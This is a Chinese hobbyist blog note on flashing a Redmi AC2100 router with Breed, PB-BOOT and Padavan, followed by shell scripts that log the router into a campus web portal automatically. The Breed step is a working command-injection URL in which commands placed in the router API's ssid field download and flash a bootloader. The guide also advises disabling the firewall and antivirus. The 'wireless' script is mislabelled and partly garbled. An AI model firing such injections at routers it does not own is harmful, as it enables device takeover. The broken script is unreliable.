本笔记详细记录了使用 Redmi AC 2100 路由器刷入第三方固件,并通过脚本实现校园网网页认证的步骤和经验。
1. Redmi AC 2100 路由器选择理由
选择 Redmi AC 2100 (RM 2100) 型号的原因如下:
- 5 G Wi-Fi 性能: 通过刷入 Padavan (老毛子) 固件,可以开启 160 MHz 频宽,充分发挥 5 G Wi-Fi 的高速潜力。
- 社区支持: 在恩山无线论坛等社区有大量的讨论和刷机方案,遇到问题时更容易找到解决方案。
- 性能满足需求: 宿舍宽带为 500 Mbps,RM 2100 的 5 G Wi-Fi 理论速率高达 1733 Mbps,足以满足日常使用需求。
- 对比 R3G: 之前使用过的 R3G 路由器散热性能弱于 RM 2100,且 5 G 信号速率仅为 800 Mbps。考虑到宿舍使用对信号稳定性和性能的要求,RM 2100 是更优选择,且不打算在上面折腾过多插件。
2. 所需固件和软件
在开始刷机前,请准备好以下固件和工具:
Padavan (老毛子) 固件: 支持开启 160 MHz 频宽。
- 下载地址:padavan
- 搜索
RM 2100
,下载RM 2100_3.4.3.9-099.Trx
文件。
QB-BOOT: 适配 RM 2100 的 PB-BOOT 正式版。
Breed: 由于官方 Breed 网站 (breed.hackpascal.net) 已无法访问,这里提供一个网盘链接。
- 下载地址:123 云盘分享
- 提取码:
Kzg5
OpenWrt 固件 (带校园网检测插件): 可选,根据个人需求选择是否集成多播和校园网防检测插件。
官方降级包: 用于将路由器固件降级到旧版本,以便利用漏洞注入 Breed。
- 下载地址:123 云盘分享
- 提取码:
d8sA
3. 路由器降级
为了利用旧版固件的注入漏洞,需要将路由器官方固件降级到 2.0.7 版本。
- 登录路由器后台管理界面。
- 上传上述准备好的“官方降级包”。
- 路由器重启后,即完成降级。
4. 注入并刷入 Breed
此步骤旨在将 Breed Web 恢复控制台注入到路由器中。参考恩山论坛的方案:小米 红米【AC2100】一键刷BREED【30秒刷完】小白帅小伙专用 检查坏块 | 无需Telnet-小米无线路由器及小米网络设备-恩山无线论坛。
4.1 核心步骤
由于官方 Breed 网站无法访问,无法直接使用教程中的注入 URL。需要先下载 Breed 固件到本地,然后通过本地 HTTP 服务器提供给路由器。
- 获取你电脑的本地 IP 地址和路由器的 IP 地址。
- 登录路由器后台,在浏览器地址栏中找到 URL 中的
stok
参数值并复制下来。 - 在你下载 Breed 固件的文件夹中,按住
Shift
键并右键点击空白处,选择“在此处打开 PowerShell 窗口”或“在此处打开命令窗口”,输入cmd
进入命令行。 - 开启一个本地 HTTP 服务器: 在命令行中执行
python -m http.server 8080 --bind 0.0.0.0
。请勿关闭此窗口,它将用于向路由器提供 Breed 固件。 - 获取 Breed 固件的 SHA 256 值: 在另一个命令行窗口中,执行
certutil -hashfile breed.bin SHA256
(假设你的 Breed 固件文件名为breed.bin
)。 - 重要: 在进行注入操作前,务必关闭 Windows 的防火墙和杀毒软件,以避免阻碍路由器访问本地服务器。
现在,可以拼接注入 URL。
原始注入 URL 示例:
http://【路由器的IP地址】/cgi-bin/luci/;stok=【路由器的Stok】/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20http%3A%2F%2F【您电脑的IP地址】%3A【HTTP服务器端口】%2F【固件文件名】%20-o%20B%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20【固件的SHA256校验值】)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A
URL 解码后的命令(方便理解):
http://【路由器的IP地址】/cgi-bin/luci/;stok=【路由器的Stok】/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=
cd /tmp
curl http://【您电脑的IP地址】:【HTTP服务器端口】/【固件文件名】 -o B
[ -z "$(sha256sum B | grep 【固件的SHA256校验值】)" ] || mtd -r write B Bootloader
将拼接好的注入 URL 粘贴到浏览器地址栏并回车。
路由器会重启,指示灯将从蓝色变为橙色,最终再次变为蓝色,表示已进入系统。
4.2 进入 Breed 后台
- 断开路由器电源。
- 用牙签或卡针顶住路由器的 Reset 键。
- 重新接上电源。
- 观察指示灯:如果闪烁蓝色,表示已成功进入 Breed 模式;如果闪烁橙色,则表示进入的是原厂 UBOOT。当指示灯闪蓝时,即可松开 Reset 键。
- 用网线将电脑连接到路由器的任意一个 LAN 口。
- 将电脑以太网适配器的 IP 地址手动设置为
192.168.1.100
,子网掩码设置为255.255.255.0
。 - 使用浏览器(推荐无痕模式)访问
192.168.1.1
,即可进入 Breed 后台管理界面。
4.3 摸索过程中的经验
- 直接使用旧注入 URL 失败: 最初尝试直接使用教程中包含的 Breed 官方网站链接进行注入,但由于网站无法访问,导致刷入失败,即使路由器返回
code 0
。 - SHA 256 校验失败: 尝试刷入 22 年的 Breed 固件时,由于其 SHA 256 值与注入代码中预设的值不符,未能通过校验,导致刷入失败。
5. 刷入 Padavan 固件
在成功刷入 Breed 后,直接刷入 Padavan 或 OpenWrt 固件可能会遇到问题,导致路由器无法启动新的 Wi-Fi。
5.1 刷入失败的排查与解决方案
我尝试直接在 Breed 中刷入 Padavan 和 OpenWrt 固件,但路由器重启后几分钟内,Wi-Fi 列表中都没有出现新的 Wi-Fi,这很可能意味着刷入失败。
通过查阅恩山论坛的帖子[[红米AC2100(rm2100)breed刷入padavan老毛子无法进入、坏块 通过breed刷入pb-boot解决-小米无线路由器及小米网络设备-恩山无线论坛]],找到了解决方案:
- 问题原因: Breed 可能没有坏块检测功能,导致在有坏块的闪存上刷入固件失败。
- 解决方案: 需要先在 Breed 中刷入 PB-BOOT,因为 PB-BOOT 具备坏块检测功能,能更稳定地刷入固件。
5.2 正确的刷入 Padavan 步骤
- 备份固件: 在刷入任何固件之前,强烈建议备份路由器的 EEPROM 和编程器固件。
- 在 Breed 中刷入 PB-BOOT。
- 在 PB-BOOT 中刷入 Padavan (老毛子) 固件。
完成此步骤后,路由器成功重启,并能看到名为PCDN
的 Wi-Fi 信号,表明 Padavan 固件已成功刷入。 - 双清: 进入 Padavan 后台后,建议进行“双清”操作,以清除旧配置并确保系统稳定运行。
6. 通过校园网网页认证
学校对所有接入校园网的设备都要求通过网页验证。路由器接入校园网后,如果未认证,所有连接到路由器的设备都无法上网。让路由器通过认证,可以使宿舍所有设备无需单独验证即可联网。
有两种主要方法实现路由器通过校园网认证:
- MAC 克隆: 让一台电脑通过验证后,路由器克隆该电脑的 MAC 地址。此方法操作相对麻烦,但官方固件通常自带 MAC 克隆功能。
- 运行认证脚本: 编写一个脚本,让路由器开机自动执行,完成网页认证。这也是我选择刷机的主要原因。
通过 F 12 抓包分析发现,学校的有线和无线网络是两套独立的登录系统。登录请求均为 GET 方法。
(我曾因朋友的有线验证脚本无法在无线桥接下使用而困扰,现在终于找到原因了。)
特性 | 无线 Wi-Fi (eportal) | 有线网络 (Dr. Com) |
---|---|---|
服务器 IP | 10.0.1.5 (801 端口) | 10.0.1.5 (80 端口) |
登录地址 | /eportal/portal/login | /drcom/login |
密码格式 | Base 64 编码 | 明文 |
用户名格式 | ,0,学号 | 学号@运营商 |
脚本的逻辑是启动后就每隔十秒循环 ping 114.114.114.114,如果 ping 失败就执行登录;
如果 ping 成功过十秒就继续 ping。
使用前需要关闭代理,要不然会一直显示登录失败。
6.1 无线登录脚本
#!/bin/bash
ccount Information ---
USERNAME=""
PASSWORD=""
OPERATOR_CODE="unicom" # unicom,cmcc,telecom
# --- End of Configuration ---
COOKIE_FILE="/tmp/drcom_cookies.txt"
FULL_USERNAME="${USERNAME}@${OPERATOR_CODE}"
ACTIVATE_URL="http://10.0.1.5/drcom/auth_msg.php?callback=dr1002" # Define the activation URL globally
echo "Dr.COM Ultimate auto-login script started (with keep-alive and delays)..."
# --- Main Loop ---
while true; do
# Step 1: Use the ultimate detection method by checking web content.
if curl -s --connect-timeout 4 http://www.baidu.com/robots.txt | grep -q "User-agent"; then
# Network is online -> send keep-alive packet.
current_time=$(date "+%Y-%m-%d %H:%M:%S")
echo "[${current_time}] Network is online. Sending keep-alive packet..."
curl -s -b "$COOKIE_FILE" "$ACTIVATE_URL" -H "User-agent: Mozilla/5.0" > /dev/null
else
# Network is down -> execute login procedure.
echo "[WARN] Network connection is down or abnormal. Attempting to re-login..."
echo " - Login account: $FULL_USERNAME"
rm -f "$COOKIE_FILE"
LOGIN_URL="http://10.0.1.5/drcom/login?callback=dr1003&DDDDD=${FULL_USERNAME}&upass=${PASSWORD}&0MKKey=123456"
LOGIN_RESPONSE=$(curl --connect-timeout 5 -s -c "$COOKIE_FILE" "$LOGIN_URL" -H "User-Agent: Mozilla/5.0")
if printf "%s" "$LOGIN_RESPONSE" | grep -q '"result":1'; then
echo "[SUCCESS] Login authentication successful!"
# Add a delay to wait for the authentication system to respond.
echo " - Waiting 2 seconds before activation..."
sleep 2
# Send activation request.
curl -s -b "$COOKIE_FILE" "$ACTIVATE_URL" -H "User-agent: Mozilla/5.0" > /dev/null
# Add a delay to wait for the network gateway to apply the new rules.
echo " - Activation request sent. Waiting 5 seconds for network to stabilize..."
sleep 5
if curl -s --connect-timeout 4 http://www.baidu.com/robots.txt | grep -q "User-agent"; then
echo "[SUCCESS] Network has been activated, and internet access is restored."
else
echo "[FAIL] Network activation failed. Login was accepted, but the internet is still unreachable."
fi
else
echo "[FAIL] Login authentication failed!"
MSG=$(printf "%s" "$LOGIN_RESPONSE" | sed -n 's/.*"msg":"\([^"]*\)".*/\1/p')
if [ -n "$MSG" ]; then
echo " - Server response: $MSG"
else
echo " - Failed to connect to the login server or received an unexpected response."
fi
fi
fi
# Loop interval: 10 seconds.
sleep 10
done
) &
试过 ping 114.114.114.114 有一段时间完全 ping 失败,后面 114.114.114.114 能用后,有试过掉验证依然能 ping 成功(所以一直没执行保活),最后的版本是使用 curl baidu.com 的。
6.2 有线登录脚本
#!/bin/sh
(
# --- 请在这里填入您的账号信息 ---
USERNAME=""
PASSWORD=""
OPERATOR_CODE="unicom" # 运营商选项: unicom (联通), cmcc (移动), telecom (电信)
# --- 配置结束 ---
# 使用一个固定的Cookie文件路径
COOKIE_FILE="/tmp/drcom_cookies.txt"
# 构造带运营商后缀的完整用户名
FULL_USERNAME="${USERNAME}@${OPERATOR_CODE}"
# --- 主循环 ---
while true; do
# 步骤1: 在线状态检测
if ping -c 2 -W 3 114.114.114.114 > /dev/null 2>&1; then
# 如果ping成功,说明网络在线
current_time=$(date "+%H:%M:%S")
printf "[正常] 网络在线 [${current_time}]。10秒后再次检测... \r"
else
# 如果ping失败,说明网络已断开,执行登录流程
echo "\n[警告] 网络已断开,正在尝试登录..."
echo " - 登录账号: $FULL_USERNAME"
rm -f "$COOKIE_FILE"
# 步骤A: 发起登录请求
LOGIN_URL="http://10.0.1.5/drcom/login?callback=dr1003&DDDDD=${FULL_USERNAME}&upass=${PASSWORD}&0MKKey=123456"
LOGIN_RESPONSE=$(curl -s -c "$COOKIE_FILE" "$LOGIN_URL" -H "User-Agent: Mozilla/5.0")
if echo "$LOGIN_RESPONSE" | grep -q '"result":1'; then
echo "[成功] 登录认证成功!"
sleep 1
# 步骤B: 发送激活请求
ACTIVATE_URL="http://10.0.1.5/drcom/auth_msg.php?callback=dr1002"
curl -s -b "$COOKIE_FILE" "$ACTIVATE_URL" -H "User-agent: Mozilla/5.0" > /dev/null
if ping -c 2 -W 3 114.114.114.114 > /dev/null 2>&1; then
echo "[成功] 网络已成功激活。"
else
echo "[失败] 网络激活失败,请检查认证服务器状态。"
fi
else
echo "[失败] 登录失败!"
MSG=$(echo "$LOGIN_RESPONSE" | sed -n 's/.*"msg":"\([^"]*\)".*/\1/p')
echo " - 服务器响应: $MSG"
fi
fi
# 每次循环结束后,统一等待10秒
sleep 10
done
) &
使用方法:
- 将脚本保存为
.sh
文件(例如autologin.sh
)。 - 赋予脚本执行权限:
chmod +x <脚本名>
。 - 根据脚本内的注释,填入你的学号、密码和运营商代码。
- 执行脚本:
./<脚本名>
。 - 有线登录脚本需要放入
padavan 路由器后台
的开机执行脚本
里面。就可以在路由器通电后自动登录了。所以也是采用了硬编码的方法。
7. 偶遇学校断网经历
在使用 Wi-Fi 时,舍友突然断网,而我的设备仍能正常上网。
- 初步推测: 路由器 DNS 出现问题。
- 实际分析: 此时我仍能正常上网,且开启了代理。代理会将 DNS 请求加密并通过代理服务器发起解析(即 DoH - DNS over HTTPS)。这表明学校网络可能强制劫持所有 DNS 请求,而当时学校的 DNS 服务可能出现了故障。
- 解决方案: 如果希望在学校 DNS 服务故障时宿舍网络仍能正常使用,可以考虑安装 AdGuard Home。在我刚安装好后,学校网络就恢复正常了,因此未能进行实际测试。下次遇到类似情况时再进行验证。
不赖
测试
老哥这个脚本现在还能用吗,我宿国庆后就被限速到个位数Mbps#(狂汗)